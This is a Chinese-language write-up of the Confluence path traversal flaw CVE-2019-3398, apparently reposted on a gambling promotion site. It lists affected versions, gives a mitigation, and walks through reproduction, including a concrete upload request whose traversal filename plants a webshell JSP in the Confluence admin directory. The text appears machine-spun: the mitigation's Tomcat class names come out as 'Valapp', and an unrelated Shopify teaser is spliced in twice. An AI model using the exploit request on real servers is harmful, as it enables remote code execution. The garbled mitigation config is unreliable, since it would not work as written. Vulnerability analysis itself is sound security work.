Confluence downloadallattachments途径穿越破绽(CVE-2019-3398 ) | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Confluence downloadallattachments途径穿越破绽(CVE-2019-3398 )

申博_新闻事件 申博 170次浏览 已收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

破绽形貌:

Confluence Server和Data Center在downloadallattachments资本中存在途径穿越破绽。 在Page或Blogs具有增加附件权限的用户,或具有建立新空间或个人空间权限的用户,或对某空间具有“管理员”权限的用户可应用此途径穿越破绽将文件写入恣意地位,从而致使在受影响版本的Confluence Server或Data Center体系上实行恣意代码。

影响版本:

2.0.0 <= version < 6.6.13
6.7.0 <= version < 6.12.4
6.13.0 <= version < 6.13.4
6.14.0 <= version < 6.14.3
6.15.0 <= version < 6.15.2

修复版本:

6.6.13
6.12.4
6.13.4
6.14.3
6.15.2

修复发起:

晋级到修复版本。

减缓步伐:

若没法晋级,可接纳以下暂时减缓步伐:
1、封闭Confluence;
2、编纂<Confluence的布置目次>/conf/server.xml
3、将以下代码加到<host>下面</host>

<Context path="/pages/downloadallattachments.action" docBase="" >
    <Valapp className="org.apache.catalina.valapps.RemoteAddrValapp" deny="*" />
</Context>

4、生存文件,重启Confluence。
减缓步伐是不是见效考证要领:
接见含有2个或以上附件的页面/博客,点击...=》附件=》下载悉数
Confluence downloadallattachments途径穿越破绽(CVE-2019-3398 )
Confluence downloadallattachments途径穿越破绽(CVE-2019-3398 )

若返回404页面,则申明减缓步伐已见效。然则减缓步伐禁用了下载悉数附件的功用。

Demo

Confluence downloadallattachments途径穿越破绽(CVE-2019-3398 )

0x00 情况搭建

下载confluence-6.13.3用于复现。

$ wget https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-6.13.3.tar.gz
$ tar zxf atlassian-confluence-6.13.3.tar.gz
$ cd atlassian-confluence-6.13.3
$ vi ./confluence/WEB-INF/classes/confluence-init.properties #设置confluence的home目次,这里我设置为
#confluence.home=/home/cqq/confluenceHome,到时候附件和暂时zip文件都是寄存在这个途径下的
$ bin/start-confluence.sh

0x01 破绽复现

起首依据官方形貌,downloadallattachments这个资本,连系其考证减缓步伐的体式格局,找到了破绽触发点:

... =》附件=》下载悉数

点击下载悉数时,会触发一个GET要求:

GET /pages/downloadallattachments.action?pageId=65601

然后相应

我是如何获得数千家Shopify商店的收入情况和流量数据?

简介 大约一年前的时候,我测试过Shopify,从那个时候起,我就写了个脚本监控他家的资产,主要是跟踪新的api以及url。几个月之后我收到一个新的通知: > /shops/REDACTED/traffic_data.json
> /shops/REDACTED/revenue_data.json 老实说

Location: /download/temp/downloadi120q121507.zip?contentType=application/zip

并且每次发出downloadallattachments.action要求,其相应的Location途径的zip文件名都不一样,发明原来是服务端每收到一次downloadallattachments.action要求,就会在download/temp/目次下天生一个zip文件:

Confluence downloadallattachments途径穿越破绽(CVE-2019-3398 )

搜刮了一下,发明这个文件是在/Users/xxx/confluenceHome,也就是confluence的装置目次下。

cqq@ubuntu:~$ find .|grep download45lL6115220.zip
./confluenceHome/temp/download45lL6115220.zip

然后看到这个目次下另有一个attachments目次,为了考证这就是附件上传的目次,

Confluence downloadallattachments途径穿越破绽(CVE-2019-3398 )
因而,新建了一个页面,上传了几个文本文件,经由过程cat出来的内容与上传的内容婚配,剖断这个就是上传的附件被寄存的目次,然则这个目次下的文件名被重命名了。
既然官方说是途径穿越破绽,就得找到文件名或许文件途径的输入点。在这里上传文件的过程当中抓一下包,发明有两个参数是文件名/文件途径相干的。

0x02 破绽调试

经由过程一番grep -rn xxx *的查找,须要两步来完成对文件上传的应用。
1、POST /plugins/drag-and-drop/upload.action?pageId=65601&filename=../../../../../../Users/xxx/repos/atlassian-confluence-6.13.0/confluence/admin/cqq2.jsp&size=754&minorEdit=true&spaceKey=ADMIN&mimeType=application%2Foctet-stream&atl_token=47ae1afbc53f1ed100a4c36053de2d754d48ffeb&contentType=page&isVFMSupported=true&name=cqq2.jsp
先将webshell上传上去,其内容会出如今confluence的装置目次,即/Users/xxx/confluenceHome。
在UploadAction#execute下断点

confluence/WEB-INF/atlassian-bundled-plugins/confluence-drag-and-drop-6.13.0.jar!/com/atlassian/confluence/plugins/dragdrop/UploadAction.class

经由过程

InputStream inStream = this.getStreamForEncoding(this.httpServletRequest);
this.fileUploadManager.storeResource(new InputStreamAttachmentResource(inStream, this.filename, this.mimeType, this.size, (String)null, this.minorEdit), (ContentEntityObject)content);

将POST的内容写入到缓存文件中:attachments/ver003//56/98/98306/101/65/65601/917509/1

Confluence downloadallattachments途径穿越破绽(CVE-2019-3398 )

然后经由过程这个GET要求,将webshell内容写入指定的途径。

在DownloadAllAttachmentsOnPageAction#execute下断点

confluence/WEB-INF/lib/confluence-6.13.0.jar!com/atlassian/confluence/pages/actions/DownloadAllAttachmentsOnPageAction.class

confluence/WEB-INF/lib/confluence-6.13.0.jar!com/atlassian/confluence/pages/actions/DownloadAllAttachmentsOnPageAction.class文件内容:

public String execute() throws Exception {
        List<Attachment> latestAttachments = this.attachmentManager.getLatestVersionsOfAttachments(this.getPage());
        Iterator var2 = latestAttachments.iterator();

        while(var2.hasNext()) {
            Attachment attachment = (Attachment)var2.next();
            File tmpFile = new File(this.getTempDirectoryForZipping(), attachment.getFileName());
            InputStream inputStream = this.attachmentManager.getAttachmentData(attachment);
            Throwable var6 = null;

            try {
                OutputStream fileOutputStream = new FileOutputStream(tmpFile);
                Throwable var8 = null;

                try {
                    ByteStreams.copy(inputStream, fileOutputStream);
                } catch (Throwable var31) {
                    var8 = var31;
                    throw var31;
                } finally {
                    if (fileOutputStream != null) {
                        if (var8 != null) {
                            try {
                                fileOutputStream.close();
                            } catch (Throwable var30) {
                                var8.addSuppressed(var30);
                            }
                        } else {
                            fileOutputStream.close();
                        }
                    }

                }
            } catch (Throwable var33) {
                var6 = var33;
                throw var33;
            } finally {
                if (inputStream != null) {
                    if (var6 != null) {
                        try {
                            inputStream.close();
                        } catch (Throwable var29) {
                            var6.addSuppressed(var29);
                        }
                    } else {
                        inputStream.close();
                    }
                }

            }
        }

        //在confluence装置途径的temp目次下天生zip文件,与此次破绽无关。
        File zipFile = new File(this.getConfluenceTempDirectoryPath() + File.separator + this.getZipFilename() + ".zip");
        FileUtils.createZipFile(this.getTempDirectoryForZipping(), zipFile);
        FileUtils.deleteDir(this.getTempDirectoryForZipping());
        this.downloadPath = this.prepareDownloadPath(zipFile.getPath()) + "?contentType=application/zip";
        this.gateKeeper.addKey(this.prepareDownloadPath(zipFile.getPath()), this.getAuthenticatedUser());
        return "success";
    }

可见,每次挪用GET ,都邑实行

ByteStreams.copy(inputStream, fileOutputStream);

将之前缓存的上传文件copy到经由过程要求参数filename指定的途径下,完成途径穿越。

我是如何获得数千家Shopify商店的收入情况和流量数据?

简介 大约一年前的时候,我测试过Shopify,从那个时候起,我就写了个脚本监控他家的资产,主要是跟踪新的api以及url。几个月之后我收到一个新的通知: > /shops/REDACTED/traffic_data.json
> /shops/REDACTED/revenue_data.json 老实说


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Confluence downloadallattachments途径穿越破绽(CVE-2019-3398 )
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址